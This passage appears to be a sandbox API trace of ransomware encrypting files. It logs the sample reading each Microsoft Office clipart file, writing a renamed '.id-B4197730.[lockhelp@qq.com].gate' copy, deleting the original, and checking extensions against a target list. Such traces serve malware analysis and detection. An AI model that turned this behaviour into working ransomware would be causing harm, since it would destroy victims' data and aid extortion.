nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0320.649] SetEndOfFile (hFile=0x38c) returned 1 [0320.649] CloseHandle (hObject=0x38c) returned 1 [0320.649] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.650] SetEndOfFile (hFile=0x374) returned 1 [0320.650] CloseHandle (hObject=0x374) returned 1 [0320.650] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0320.651] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf")) returned 1 [0320.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0320.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0320.651] lstrlenW (lpString=".doc") returned 4 [0320.651] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0320.651] lstrlenW (lpString=".docx") returned 5 [0320.651] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0320.651] lstrlenW (lpString=".pdf") returned 4 [0320.651] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0320.651] lstrlenW (lpString=".xls") returned 4 [0320.651] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0320.651] lstrlenW (lpString=".xlsx") returned 5 [0320.651] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0320.651] lstrlenW (lpString=".ppt") returned 4 [0320.651] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0320.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0320.651] lstrlenW (lpString=".zip") returned 4 [0320.651] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0320.652] lstrlenW (lpString=".rar") returned 4 [0320.652] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0320.652] lstrlenW (lpString=".bz2") returned 4 [0320.652] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0320.652] lstrlenW (lpString=".7z") returned 3 [0320.652] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0320.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0320.652] lstrlenW (lpString=".dbf") returned 4 [0320.652] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0320.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0320.652] lstrlenW (lpString=".1cd") returned 4 [0320.652] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0320.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0320.652] lstrlenW (lpString=".jpg") returned 4 [0320.652] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0320.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0320.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0320.652] lstrlenW (lpString=".doc") returned 4 [0320.652] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0320.652] lstrlenW (lpString=".docx") returned 5 [0320.652] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0320.652] lstrlenW (lpString=".pdf") returned 4 [0320.652] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0320.652] lstrlenW (lpString=".xls") returned 4 [0320.652] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0320.652] lstrlenW (lpString=".xlsx") returned 5 [0320.652] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0320.652] lstrlenW (lpString=".ppt") returned 4 [0320.652] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0320.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0320.653] lstrlenW (lpString=".zip") returned 4 [0320.653] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0320.653] lstrlenW (lpString=".rar") returned 4 [0320.653] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0320.653] lstrlenW (lpString=".bz2") returned 4 [0320.653] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0320.653] lstrlenW (lpString=".7z") returned 3 [0320.653] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0320.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0320.653] lstrlenW (lpString=".dbf") returned 4 [0320.653] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0320.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0320.653] lstrlenW (lpString=".1cd") returned 4 [0320.653] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0320.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0320.653] lstrlenW (lpString=".jpg") returned 4 [0320.653] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0320.653] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0320.653] lstrlenW (lpString="AN03500_.WMF") returned 12 [0320.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0320.653] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=9240) returned 1 [0320.654] CloseHandle (hObject=0x374) returned 1 [0320.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf")) returned 0x220 [0320.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0320.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0320.654] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.654] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0320.654] GetLastError () returned 0x0 [0320.654] ReadFile (in: hFile=0x374, lpBuffer=0x3b27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesRead=0x300fecc*=0x2418, lpOverlapped=0x0) returned 1 [0321.115] WriteFile (in: hFile=0x38c, lpBuffer=0x3b27020*, nNumberOfBytesToWrite=0x2420, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesWritten=0x300fc94*=0x2420, lpOverlapped=0x0) returned 1 [0321.116] ReadFile (in: hFile=0x374, lpBuffer=0x3b27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0321.117] WriteFile (in: hFile=0x38c, lpBuffer=0x3b27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0321.117] SetEndOfFile (hFile=0x38c) returned 1 [0321.117] CloseHandle (hObject=0x38c) returned 1 [0321.117] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.117] SetEndOfFile (hFile=0x374) returned 1 [0321.118] CloseHandle (hObject=0x374) returned 1 [0321.118] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0321.119] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf")) returned 1 [0321.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0321.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0321.119] lstrlenW (lpString=".doc") returned 4 [0321.119] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.119] lstrlenW (lpString=".docx") returned 5 [0321.119] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.119] lstrlenW (lpString=".pdf") returned 4 [0321.119] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.119] lstrlenW (lpString=".xls") returned 4 [0321.119] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.119] lstrlenW (lpString=".xlsx") returned 5 [0321.119] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.119] lstrlenW (lpString=".ppt") returned 4 [0321.119] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0321.120] lstrlenW (lpString=".zip") returned 4 [0321.120] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.120] lstrlenW (lpString=".rar") returned 4 [0321.120] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.120] lstrlenW (lpString=".bz2") returned 4 [0321.120] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.120] lstrlenW (lpString=".7z") returned 3 [0321.120] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0321.120] lstrlenW (lpString=".dbf") returned 4 [0321.120] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0321.120] lstrlenW (lpString=".1cd") returned 4 [0321.120] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0321.120] lstrlenW (lpString=".jpg") returned 4 [0321.120] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0321.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0321.120] lstrlenW (lpString=".doc") returned 4 [0321.120] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.120] lstrlenW (lpString=".docx") returned 5 [0321.120] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.120] lstrlenW (lpString=".pdf") returned 4 [0321.120] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.120] lstrlenW (lpString=".xls") returned 4 [0321.120] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.120] lstrlenW (lpString=".xlsx") returned 5 [0321.120] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.121] lstrlenW (lpString=".ppt") returned 4 [0321.121] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0321.121] lstrlenW (lpString=".zip") returned 4 [0321.121] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.121] lstrlenW (lpString=".rar") returned 4 [0321.121] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.121] lstrlenW (lpString=".bz2") returned 4 [0321.121] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.121] lstrlenW (lpString=".7z") returned 3 [0321.121] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0321.121] lstrlenW (lpString=".dbf") returned 4 [0321.121] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0321.121] lstrlenW (lpString=".1cd") returned 4 [0321.121] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0321.121] lstrlenW (lpString=".jpg") returned 4 [0321.121] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.121] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0321.122] lstrlenW (lpString="AN04323_.WMF") returned 12 [0321.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0321.122] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=2492) returned 1 [0321.122] CloseHandle (hObject=0x374) returned 1 [0321.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf")) returned 0x220 [0321.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0321.122] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.122] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0321.123] GetLastError () returned 0x0 [0321.123] ReadFile (in: hFile=0x374, lpBuffer=0x3b27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesRead=0x300fecc*=0x9bc, lpOverlapped=0x0) returned 1 [0321.124] WriteFile (in: hFile=0x38c, lpBuffer=0x3b27020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesWritten=0x300fc94*=0x9c0, lpOverlapped=0x0) returned 1 [0321.125] ReadFile (in: hFile=0x374, lpBuffer=0x3b27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0321.125] WriteFile (in: hFile=0x38c, lpBuffer=0x3b27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0321.125] SetEndOfFile (hFile=0x38c) returned 1 [0321.126] CloseHandle (hObject=0x38c) returned 1 [0321.126] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.126] SetEndOfFile (hFile=0x374) returned 1 [0321.127] CloseHandle (hObject=0x374) returned 1 [0321.127] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0321.127] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf")) returned 1 [0321.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0321.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0321.127] lstrlenW (lpString=".doc") returned 4 [0321.127] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.127] lstrlenW (lpString=".docx") returned 5 [0321.128] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.128] lstrlenW (lpString=".pdf") returned 4 [0321.128] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.128] lstrlenW (lpString=".xls") returned 4 [0321.128] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.128] lstrlenW (lpString=".xlsx") returned 5 [0321.128] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.128] lstrlenW (lpString=".ppt") returned 4 [0321.128] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0321.128] lstrlenW (lpString=".zip") returned 4 [0321.128] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.128] lstrlenW (lpString=".rar") returned 4 [0321.128] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.128] lstrlenW (lpString=".bz2") returned 4 [0321.128] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.128] lstrlenW (lpString=".7z") returned 3 [0321.128] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0321.128] lstrlenW (lpString=".dbf") returned 4 [0321.128] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0321.128] lstrlenW (lpString=".1cd") returned 4 [0321.128] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0321.128] lstrlenW (lpString=".jpg") returned 4 [0321.128] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0321.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0321.129] lstrlenW (lpString=".doc") returned 4 [0321.129] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.129] lstrlenW (lpString=".docx") returned 5 [0321.129] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.129] lstrlenW (lpString=".pdf") returned 4 [0321.129] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.129] lstrlenW (lpString=".xls") returned 4 [0321.129] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.129] lstrlenW (lpString=".xlsx") returned 5 [0321.129] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.129] lstrlenW (lpString=".ppt") returned 4 [0321.129] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0321.129] lstrlenW (lpString=".zip") returned 4 [0321.129] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.129] lstrlenW (lpString=".rar") returned 4 [0321.129] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.129] lstrlenW (lpString=".bz2") returned 4 [0321.129] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.129] lstrlenW (lpString=".7z") returned 3 [0321.129] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0321.129] lstrlenW (lpString=".dbf") returned 4 [0321.129] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0321.129] lstrlenW (lpString=".1cd") returned 4 [0321.129] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0321.130] lstrlenW (lpString=".jpg") returned 4 [0321.130] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.130] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0321.130] lstrlenW (lpString="AN04326_.WMF") returned 12 [0321.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0321.130] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=3348) returned 1 [0321.130] CloseHandle (hObject=0x374) returned 1 [0321.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf")) returned 0x220 [0321.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0321.131] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.131] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0321.131] GetLastError () returned 0x0 [0321.131] ReadFile (in: hFile=0x374, lpBuffer=0x3b27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesRead=0x300fecc*=0xd14, lpOverlapped=0x0) returned 1 [0321.132] WriteFile (in: hFile=0x38c, lpBuffer=0x3b27020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesWritten=0x300fc94*=0xd20, lpOverlapped=0x0) returned 1 [0321.134] ReadFile (in: hFile=0x374, lpBuffer=0x3b27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0321.134] WriteFile (in: hFile=0x38c, lpBuffer=0x3b27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0321.134] SetEndOfFile (hFile=0x38c) returned 1 [0321.134] CloseHandle (hObject=0x38c) returned 1 [0321.134] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.134] SetEndOfFile (hFile=0x374) returned 1 [0321.135] CloseHandle (hObject=0x374) returned 1 [0321.135] SetFileAttributesW 